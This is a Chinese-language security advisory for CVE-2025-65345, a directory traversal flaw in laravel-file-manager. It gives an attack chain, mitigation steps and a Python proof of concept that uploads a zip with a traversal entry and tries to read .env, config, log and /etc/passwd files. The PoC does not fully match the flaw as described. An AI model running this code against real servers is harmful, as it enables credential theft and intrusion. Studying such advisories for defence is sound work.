IPBUF安全漏洞报告
English
CVE-2025-65345 CVSS 6.5 中危

CVE-2025-65345 alexusmai/laravel-file-manager目录遍历漏洞

披露日期: 2025-12-03

漏洞信息

漏洞编号
CVE-2025-65345
漏洞类型
目录遍历
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
alexusmai/laravel-file-manager

相关标签

目录遍历CVE-2025-65345laravel-file-manageralexusmai文件操作漏洞路径穿越zip归档漏洞Laravel

漏洞概述

CVE-2025-65345是alexusmai/laravel-file-manager 3.3.1及以下版本中存在的一个目录遍历漏洞。该漏洞源于zip/归档功能中的路径验证不当,允许未经认证的攻击者创建包含目标范围之外的文件和目录的压缩包。攻击者可以利用此漏洞读取服务器上的敏感文件,如配置文件、环境变量、密钥等。漏洞的CVSS评分为6.5,属于中危级别,攻击向量为网络,无需认证和用户交互即可实现攻击。由于该组件广泛应用于Laravel项目中,漏洞可能影响大量使用该文件管理器插件的Web应用程序。

技术细节

该漏洞存在于alexusmai/laravel-file-manager的zip归档功能模块中。在处理文件压缩请求时,程序未能正确验证用户提供的文件路径,导致攻击者可以通过构造特殊的路径字符串(如使用../或绝对路径)访问服务器上的任意文件。具体来说,当用户请求归档某些文件时,后端代码直接使用了用户输入的路径而没有进行充分的路径规范化和安全检查。攻击者可以通过在文件名中嵌入路径遍历序列(如../../etc/passwd),使服务器将其解析为服务器文件系统中的其他位置,从而将目标文件包含在压缩包中返回。由于该功能通常不需要认证即可访问,攻击者可以在未登录的情况下直接利用此漏洞。

攻击链分析

STEP 1
步骤1
攻击者识别目标网站使用的是alexusmai/laravel-file-manager组件
STEP 2
步骤2
访问文件管理器的zip归档功能接口,通常位于/filemanager或类似路径
STEP 3
步骤3
构造包含路径遍历序列(如../../../)的文件名或请求参数
STEP 4
步骤4
发送恶意请求,将目标服务器上的敏感文件(如.env、配置文件等)包含在压缩包中
STEP 5
步骤5
下载生成的压缩包,解压后获取服务器上的敏感信息
STEP 6
步骤6
利用获取的凭证或密钥进行进一步攻击,如数据库入侵或远程代码执行

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import zipfile import os import requests # CVE-2025-65345 PoC - Directory Traversal in alexusmai/laravel-file-manager # Target: alexusmai/laravel-file-manager <= 3.3.1 def create_malicious_zip(): """Create a zip file with path traversal in filename""" malicious_filename = '../../../etc/passwd' with zipfile.ZipFile('/tmp/traversal.zip', 'w') as zf: # Add a file with path traversal sequence zf.writestr(malicious_filename, 'malicious content', compress_type=zipfile.ZIP_DEFLATED) return '/tmp/traversal.zip' def exploit(target_url, zip_file_path): """ Send malicious zip file to the file manager's archive endpoint """ upload_url = f"{target_url}/filemanager/upload" with open(zip_file_path, 'rb') as f: files = {'file': ('malicious.zip', f, 'application/zip')} data = {'path': '/uploads/', 'disk': 'public'} response = requests.post(upload_url, files=files, data=data) return response # Alternative: Direct file read via path traversal def read_sensitive_files(target_url): """ Attempt to read sensitive files via path traversal """ sensitive_paths = [ '../../../.env', '../../../config/database.php', '../../../storage/logs/laravel.log', '../../../etc/passwd' ] results = [] for path in sensitive_paths: # Try to access via download endpoint with path traversal download_url = f"{target_url}/filemanager/download?path={path}" try: response = requests.get(download_url) if response.status_code == 200 and len(response.content) > 0: results.append({'file': path, 'content': response.content[:500]}) except Exception as e: pass return results if __name__ == '__main__': target = 'http://target.com/laravel-file-manager' zip_path = create_malicious_zip() print(f'Created malicious zip: {zip_path}') print(f'Exploiting: {exploit(target, zip_path)}')

影响范围

alexusmai/laravel-file-manager <= 3.3.1

防御指南

临时缓解措施
在官方修复版本发布之前,可以采取以下临时缓解措施:1) 在应用程序中添加路径验证逻辑,过滤掉包含../的路径序列;2) 限制文件管理器只能访问public目录下的文件;3) 对文件操作功能进行认证保护,确保只有授权用户才能使用;4) 在Web服务器配置中禁止敏感文件的直接访问;5) 定期检查应用日志,监控异常的路径遍历请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表